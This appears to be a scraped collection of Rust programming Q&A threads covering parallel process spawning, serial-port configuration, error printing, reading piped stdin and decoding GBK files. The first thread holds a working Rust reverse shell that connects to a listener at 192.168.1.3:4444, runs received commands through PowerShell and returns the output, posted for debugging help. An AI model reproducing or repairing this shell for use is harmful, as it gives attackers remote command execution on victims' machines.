use std::net::TcpStream;
use std::io::*;
use std::io::{self, Write};
use std::str::from_utf8;
use std::process::Command;
const MESSAGE_SIZE: usize = 10;
fn main()
{
let mut stream = TcpStream::connect("192.168.1.3:4444").unwrap();
println!("CONNECTED !!");
loop
{
stream.write(b"[*] >> ").expect("A");
let mut rx_bytes = [0u8; MESSAGE_SIZE];
stream.read(&mut rx_bytes).expect("k");
let received = from_utf8(&rx_bytes).expect("valid utf8").to_string();
print!("{}",received);
let output = Command::new("powershell").arg(received).output().expect("failed to execute process"); // Error at .arg(received).
println!("status: {}", output.status);
io::stdout().write_all(&output.stdout).unwrap();
io::stderr().write_all(&output.stderr).unwrap();
let res = from_utf8(&output.stdout).expect("valid utf8").to_string();
stream.write(res.as_bytes());
}
}
ERROR:-
thread 'main' panicked at 'failed to execute process: Error { kind: InvalidInput, message: "nul byte found in provided data" }', .\main.rs:20:72
note: run with RUST_BACKTRACE=1 environment variable to display a backtrace
PS:- I am using netcat as the server.
The first thing you should probably do (if you haven't already) is to look at your incoming data:
println!("{:x?}", "azAZ\0X09".as_bytes()); // [61, 7a, 41, 5a, 0, 58, 30, 39]
Then you can determine why there is a null byte in there and what needs to be done about it.
Related
I have the following while loop that runs generate_user_key for each of the file in the file_array, and outputs the result. I would like to parallelize this such that an array of the generated keys is returned, and the process is executed in parallel instead of sequential to make it faster.
use std::process::Command;
//file_array definition here
let mut i = 0;
while (i<100) {
let generated_key = Command::new("generate_user_key")
.arg(file_array[i])
.output()
.expect("generate_user_key command failed to start");
println!("stdout: {}", String::from_utf8_lossy(&generated_key.stdout));
i=i+1;
}
What is the best way to implement this in rust?
If you want to loop over the array items using rayon then you can simply create into_par_iter and work on array items
use std::process::Command;
use rayon::iter::{ParallelIterator, IntoParallelIterator};
fn main() {
let arr = [1, 2, 3, 4, 5];
let result: Vec<_> = arr.into_par_iter().flat_map(|value| {
let output = Command::new("sh")
.args(["-c", &format!("echo {}", value)])
.output()
.expect("failed to execute process");
println!("Index: {}, Output: {:?}", value, output.stdout);
output.stdout
});
println!("{:?}", result);
}
You can also use range to loop over and use the counter as array index
use std::process::Command;
use rayon::iter::{ParallelIterator, IntoParallelIterator};
fn main() {
let arr = [1, 2, 3, 4, 5];
let result: Vec<_> = (0..arr.len()).into_par_iter().flat_map(|idx| {
let output = Command::new("sh")
.args(["-c", &format!("echo {}", arr[idx])])
.output()
.expect("failed to execute process");
println!("Index: {}, Output: {:?}", idx, output.stdout);
output.stdout
});
println!("{:?}", result);
}
Example using thread
use std::thread;
use std::time::Duration;
fn main() {
let mut threads = vec![];
for idx in 0..arr.len() {
threads.push(thread::spawn(move || -> Vec<_> {
let output = Command::new("sh")
.args(["-c", &format!("echo -n {}", idx)])
.output()
.expect("failed to execute process");
println!("Index: {}, Output: {:?}", idx, output.stdout);
thread::sleep(Duration::from_millis(1));
output.stdout
}));
}
let result = threads.into_iter().flat_map(|c| c.join().unwrap()).collect::<Vec<_>>();
println!("{:?}", result);
}
This should be easy to do with rayon. E.g. something like this (untested since I don't have your generate_user_key):
use rayon::prelude::*;
let keys = (0..100).into_par_iter().map (|_| {
Command::new("generate_user_key")
.arg(file_array[i])
.output()
.expect("generate_user_key command failed to start")
.stdout
})
.collect::<Vec<_>>();
or better:
use rayon::prelude::*;
let keys = file_array.par_iter().map (|f| {
Command::new("generate_user_key")
.arg(f)
.output()
.expect("generate_user_key command failed to start")
.stdout
})
.collect::<Vec<_>>();
When all else fails, throw threads at the problem. It almost certainly isn't the correct approach, but it works.
let mut join_handles = Vec::new();
for _ in 0..100 {
join_handles.push(thread::spawn(|| {
let generated_key = Command::new("generate_user_key")
.arg(file_array[i])
.output()
.expect("generate_user_key command failed to start");
String::from_utf8_lossy(&generated_key.stdout)
}));
}
let outputs = join_handles.into_iter().map(Result::unwrap).collect::<Vec<_>>();
Edit: The correct solution is probably using Command::spawn to start the processes without blocking. The OS can then handle running them in parallel and you can then collect the outputs.
I have a LoRa module which is connected to a serial port. I want to send a number of argument to configure it, but the connection times out after the first argument. Any ideas what I'm doing wrong?
use std::io::{self, Write};
use std::time::Duration;
fn main() {
let port = serialport::new("/dev/ttyS0", 115_200)
.timeout(Duration::from_millis(6000))
.open();
match port {
Ok(mut port) => {
let mut serial_buf: Vec<u8> = vec![0; 1000];
let config = vec![
"AT+CFG=433500000,5,9,7,1,1,0,0,0,0,3000,8,4\r\n",
"AT+RX\r\n",
"AT+SAVE\r\n",
];
for entry in config.iter() {
port.write(entry.as_bytes()).expect("Write failed!");
Duration::from_millis(1500);
loop {
match port.read(serial_buf.as_mut_slice()) {
Ok(t) => io::stdout().write_all(&serial_buf[..t]).unwrap(),
Err(e) => eprintln!("{:?}", e),
}
}
}
}
Err(e) => {
eprintln!("Error: {}", e);
::std::process::exit(1);
}
}
}
My working Python code:
main.py:
connection = Connection('/dev/ttys013', 115200, 8, 'N', 1, 1)
configuration.config_module(
'AT+CFG=433500000,5,9,7,1,1,0,0,0,0,3000,8,4', 'AT+RX', 'AT+SAVE')
configuration.py:
def config_module(self, *arguments):
self.connection.write_to_mcu(arguments[0])
for i in range(0, 1):
time.sleep(2)
validation = self.connection.read_from_mcu()
print(validation[:-1].decode())
for i in range(1, len(arguments)):
self.connection.write_to_mcu(arguments[i])
time.sleep(2)
validation_from_mcu = self.connection.read_from_mcu()
print(validation_from_mcu[:-1].decode())
connection.py:
def write_to_mcu(self, message):
self.serial_connection.write((message + '\r\n').encode())
def read_from_mcu(self):
return self.serial_connection.readline()
You probably already found the bug, but i'll try to answer the question anyway. The main issue was your infinite loop.
use std::io::{self, Write, BufRead, BufReader};
use std::time::Duration;
fn main() {
let mut port = serialport::new("/dev/ttyS0", 115_200)
.timeout(Duration::from_millis(6000))
.open()
// expect does exactly the same thing as your match did
.expect("Error: ");
// in your python you use readline, to archive this
// in rust the easiest way is to use a BufReader
let mut port = BufReader::new(port);
let mut line_buffer = String::new();
let config = vec![
"AT+CFG=433500000,5,9,7,1,1,0,0,0,0,3000,8,4\r\n",
"AT+RX\r\n",
"AT+SAVE\r\n",
];
for entry in config.iter() {
// get_mut is required because BufReader does not implement
// io::Write
port.get_mut()
// use write_all because write does not guarantee that
// every byte gets written
.write_all(entry.as_bytes()).expect("Write failed!");
// Duration::from_millis only returns a Duration and does not sleep
std::thread::sleep(Duration::from_millis(1500));
// clear the line buffer to use it again
line_buffer.clear();
// previously you never stopped reading
port.read_line(&mut line_buffer).expect("Read failed!");
// maybe you have a reason to use io::stdout().write_all()
// but most times you can just use println or print
print!("{}", line_buffer);
}
}
Docs
Write::write
BufRead::read_line
Duration::from_millis
std::thread::sleep
I want to open a file, but in the case that my program fails to open it I want to print an error message to the user and exit early.
use std::fs::File;
fn main() {
let file = "something.txt";
let file = match File::open(file) {
Ok(val) => val,
Err(e) => {
//err_string is not a real function, what would you use?
println!("failed to open file: {}", e.err_string());
return;
}
};
}
you can just do:
println!("failed to open file: {}", e);
it will convert it to a string automatically
Print an error message to the user and exit early:
1. You may use File::open("something.txt")?, try the following example (No panic, just print an error message):
use std::fs::File;
use std::io::prelude::*;
fn main() -> std::io::Result<()> {
let mut file = File::open("something.txt")?;
let mut contents = String::new();
file.read_to_string(&mut contents)?;
assert_eq!(contents, "Hello, world!");
Ok(())
}
Output (on error):
Error: Os { code: 2, kind: NotFound, message: "No such file or directory" }
Using .expect("msg"): Panics if the value is an Err, with a panic message including the passed message, and the content of the Err (developer friendly, since shows the file name and line number):
use std::fs::File;
use std::io::prelude::*;
fn main() {
let mut file = File::open("something.txt").expect("failed to open file");
let mut contents = String::new();
file.read_to_string(&mut contents)
.expect("failed to read file");
assert_eq!(contents, "Hello, world!");
}
Output (on error):
thread 'main' panicked at 'failed to open file:
Os { code: 2, kind: NotFound, message: "No such file or directory" }',
src/main.rs:17:20
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
No panic, just print an error message:
use std::fs::File;
use std::io::prelude::*;
fn main() {
let mut file = match File::open("something.txt") {
Ok(val) => val,
Err(e) => {
println!("failed to open file: {}", e);
return;
}
};
let mut contents = String::new();
file.read_to_string(&mut contents)
.expect("failed to read file");
assert_eq!(contents, "Hello, world!");
}
Output (on error):
failed to open file: No such file or directory (os error 2)
I know how to read the command line arguments, but I am having difficulties reading the command output from a pipe.
Connect a program (A) that outputs data to my Rust program using a pipe:
A | R
The program should consume the data line by line as they come.
$ pwd | cargo run should print the pwd output.
OR
$ find . | cargo run should output the find command output which is more than 1 line.
Use BufRead::lines on a locked handle to standard input:
use std::io::{self, BufRead};
fn main() {
let stdin = io::stdin();
for line in stdin.lock().lines() {
let line = line.expect("Could not read line from standard in");
println!("{}", line);
}
}
If you wanted to reuse the allocation of the String, you could use the loop form:
use std::io::{self, Read};
fn main() {
let stdin = io::stdin();
let mut stdin = stdin.lock(); // locking is optional
let mut line = String::new();
// Could also `match` on the `Result` if you wanted to handle `Err`
while let Ok(n_bytes) = stdin.read_to_string(&mut line) {
if n_bytes == 0 { break }
println!("{}", line);
line.clear();
}
}
You just need to read from Stdin.
This is based on an example taken from the documentation:
use std::io;
fn main() {
loop {
let mut input = String::new();
match io::stdin().read_line(&mut input) {
Ok(len) => if len == 0 {
return;
} else {
println!("{}", input);
}
Err(error) => {
eprintln!("error: {}", error);
return;
}
}
}
}
It's mostly the docs example wrapped in a loop, breaking out of the loop when there is no more input, or if there is an error.
The other changes is that it's better in your context to write errors to stderr, which is why the error branch uses eprintln!, instead of println!. This macro probably wasn't available when that documentation was written.
use std::io;
fn main() {
loop {
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.expect("failed to read from pipe");
input = input.trim().to_string();
if input == "" {
break;
}
println!("Pipe output: {}", input);
}
}
OUTPUT:
[18:50:29 Abhinickz#wsl -> pipe$ pwd
/mnt/d/Abhinickz/dev_work/learn_rust/pipe
[18:50:46 Abhinickz#wsl -> pipe$ pwd | cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.0 secs
Running `target/debug/pipe`
Pipe output: /mnt/d/Abhinickz/dev_work/learn_rust/pipe
You can do it in a pretty snazzy and concise way with rust's iterator methods
use std::io::{self, BufRead};
fn main() {
// get piped input
// eg `cat file | ./program`
// ( `cat file | cargo run` also works )
let input = io::stdin().lock().lines().fold("".to_string(), |acc, line| {
acc + &line.unwrap() + "\n"
});
dbg!(input);
}
use std::env;
use std::fs::File;
use std::io::prelude::*;
fn main() {
let args: Vec<String> = env::args().collect();
let filename = &args[1];
let mut f = File::open(filename).expect("file not found");
let mut contents = String::new();
f.read_to_string(&mut contents).expect("something went wrong reading the file");
println!("file content:\n{}", contents);
}
When I attempt to read a GBK encoded file, I get the following error:
thread 'main' panicked at 'something went wrong reading the file: Error { repr: Custom(Custom { kind: InvalidData, error: StringError("stream did not contain valid UTF-8") }) }', /checkout/src/libcore/result.rs:860
It says the stream must contain valid UTF-8. How can I read a GBK file?
I figured out how to read line by line from a GBK-encoded file.
extern crate encoding;
use std::env;
use std::fs::File;
use std::io::prelude::*;
use std::io::BufReader;
use encoding::all::GBK;
use encoding::{Encoding, EncoderTrap, DecoderTrap};
fn main() {
let args: Vec<String> = env::args().collect();
let filename = &args[1];
let mut file = File::open(filename).expect("file not found");
let reader = BufReader::new(&file);
let mut lines = reader.split(b'\n').map(|l| l.unwrap());
for line in lines {
let decoded_string = GBK.decode(&line, DecoderTrap::Strict).unwrap();
println!("{}", decoded_string);
}
}
You likely want the encoding crate.